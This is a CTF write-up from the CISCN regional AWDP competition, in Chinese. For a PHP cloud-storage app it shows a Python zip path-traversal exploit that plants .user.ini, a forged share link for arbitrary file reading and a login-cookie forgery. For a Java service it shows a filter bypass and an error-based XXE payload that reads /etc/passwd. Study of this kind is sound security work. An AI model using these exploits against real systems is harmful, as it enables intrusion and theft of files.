ciscn分区赛two题解

因为本次比赛的赛制的是awdp类型,所以题目源码都给出。本篇题解不介绍详细的审计过程,只作为漏洞记录.

0x01 xxclound

首先根据system_member.php拿到demo/demo的账号与密码,可以实现成功登录.然后开始审计.打开网站.

image-20220622080500270

zip目录穿越

可以很清楚地看到有文件上传的功能,能不能直接上传php文件呢?先尝试再看源码.

image-20220622080639884

可以看到只要包含了这些扩展名就不能校验成功.

php|phtml|phtm|pwml|asp|aspx|ascx|jsp|pl|htaccess|shtml|shtm

这里面还有什么可以用呢?zip,png,ini

聪明的人可能现在有两个思路

  • phar反序列化
  • ini文件+png

第一个思路来说,这里面没有找到pop链子而面临失败告终.现在来看第二个思路,上传上去之后发现?文件访问不到—,该死的.htaccess我感觉和它脱不了干系!

再想 有什么办法可以让ini文件出现在index.php的页面下呢?zip目录穿越.因为就在上面的代码同文件的下面有这样一个函数

image-20220622080959116

放上我的exp

import zipfile
import urllib.parse

def zip():
try:
with open("test.txt", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("../../../../../.user.ini"+urllib.parse.unquote("%00") , binary)
zipFile.close()
except IOError as e:
raise e
if __name__ == '__main__':
zip()

完结~~~

伪造分享连接+任意文件读

思路来自:@carrot

继续翻看源码,发现这样一个函数publicLink

public function publicLink(){
//任意文件下载
$pass = $this->config['settingSystem']['systemPassword'];
$fid = $this->in['fid'];//$this->in['fid'] 第三项
$path = Mcrypt::decode($fid,$pass);
if (strlen($path) == 0) {
show_json(LNG('error'),false);
}
$download = isset($_GET['download']);
$filename = isset($_GET['downFilename'])?$_GET['downFilename']:false;
file_put_out($path,$download,$filename);
}

他从将传入fid的参数decode,然后文件读取!因为这里我们已经拿到源码,所以这个我们可以伪造成任意的文件.直接在这里打下断点Mcrypt::encode("/flag",$pass);

伪造cookie

思路来自:@yang_99

直接看到下面的函数

public function loginCheck(){
// CSRF-TOKEN更新后同步;关闭X-CSRF-TOKEN的httpOnly
if( ACT == 'commonJs' && isset($_SESSION['X-CSRF-TOKEN'])){
$this->_setCsrfToken();
}
if(in_array(ST,$this->notCheckST)) return;//不需要判断的控制器
if(in_array(ACT,$this->notCheckACT)) return;//不需要判断的action
if(in_array(ST.'.'.ACT,$this->notCheckApp)) return;//不需要判断的对应入口

if(isset($_SESSION['kodLogin']) && $_SESSION['kodLogin']===true && $this->user){
$user = systemMember::getInfo($this->user['userID']);
$this->_loginSuccess($user);
return;
}else if($_COOKIE['kodUserID']!='' && $_COOKIE['kodToken']!=''){
$user = systemMember::getInfo($_COOKIE['kodUserID']);
if (!is_array($user) || !isset($user['password'])) {
$this->logout();
}
if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){
@session_start();//re start
$_SESSION['kodLogin'] = true;
$_SESSION['kodUser']= $user;
$_SESSION['X-CSRF-TOKEN'] = rand_string(20);
$this->_setCsrfToken();
setcookie('kodUserID', $_COOKIE['kodUserID'], time()+3600*24*100);
setcookie('kodToken',$_COOKIE['kodToken'],time()+3600*24*100);

//check if session work
@session_write_close();
unset($_SESSION);
@session_start();
if( !isset($_SESSION['kodUser']) ||
!is_array($_SESSION['kodUser'])){
$this->login(DATA_PATH."<br/>".LNG('path_can_not_write_data') );
}else{
$this->_loginSuccess($user);
}
return;
}
$this->logout();//session user数据不存在
}else{
if ($this->config['settingSystem']['autoLogin'] != '1') {
$this->logout();//不自动登录
}else{
if (!file_exists(USER_SYSTEM.'install.lock')) {
$this->display('install.html');
exit;
}
header('location:./index.php?user/loginSubmit&name=guest&password=guest');
exit;
}
}
}

最重要的一段

else if($_COOKIE['kodUserID']!='' && $_COOKIE['kodToken']!=''){
$user = systemMember::getInfo($_COOKIE['kodUserID']);
if (!is_array($user) || !isset($user['password'])) {
$this->logout();
}
if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){
@session_start();//re start
$_SESSION['kodLogin'] = true;
$_SESSION['kodUser']= $user;
$_SESSION['X-CSRF-TOKEN'] = rand_string(20);
$this->_setCsrfToken();
setcookie('kodUserID', $_COOKIE['kodUserID'], time()+3600*24*100);
setcookie('kodToken',$_COOKIE['kodToken'],time()+3600*24*100);

//check if session work
@session_write_close();
unset($_SESSION);
@session_start();
if( !isset($_SESSION['kodUser']) ||
!is_array($_SESSION['kodUser'])){
$this->login(DATA_PATH."<br/>".LNG('path_can_not_write_data') );
}else{
$this->_loginSuccess($user);
}
return;
}
$this->logout();//session user数据不存在

因为我们已经拿到源码了$user = systemMember::getInfo($_COOKIE['kodUserID']);,$this->_makeLoginToken($user),这两行代码我们在本地执行的结果和远程是一样,所以可以直接进行伪造!我在本地直接伪造admin,然后就可以直接读了.

0x02 service_x

参考: https://github.com/3em0/java_3em0/tree/master/java%E5%AE%89%E5%85%A8/xxe

是一个java_xxe的题目.直接开始撸题目

登录绕过

首先开局是一个登录,不知道该如何处理~~先看web.xml的配置

<filter-mapping>
<filter-name>LoginFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/static/*</url-pattern>
</servlet-mapping>

可恶,发现竟然是配置正确的.参考:https://gv7.me/articles/2019/security-raised-by-java-filter-scope-missetting/

直接看filter的代码

image-20220622082143764

发现是请求路径中只要包含了this.forwardUrl就可以那么伪造url就可以绕过登录.

xxe

try {
schema = schemaFactory.newSchema((Source) ResourceUtils.class.getClassLoader().getResourceAsStream("service.xsd"));
Validator validator = schema.newValidator();
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
validator.validate(new StreamSource(new ByteArrayInputStream(xmlString.getBytes(StandardCharsets.UTF_8))));
} catch (SAXException | IOException e) {
e.printStackTrace();
return toXML(e);
}
return null;

这个代码我只能说火力全开,你想从远程加载dtd可能性应该不大了,file和http协议也都过滤了.所以我们还能用到协议有jarnetdoc.开始通过查阅资料,我同样发现了这两个协议,但是jar一般都是用来加载远程jar包,netdoc(java_9之后不行,可代替file协议)单独使用netdoc://../../a.dtd,他会报file协议不支持?.

最后exp大概长这个样子,环境没有去复现大家dddd.剩下的编码绕过,netdoc绕过都无所谓.

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "jar:netdoc:///opt/t%6fmcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspx%6dl.%64td">
<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>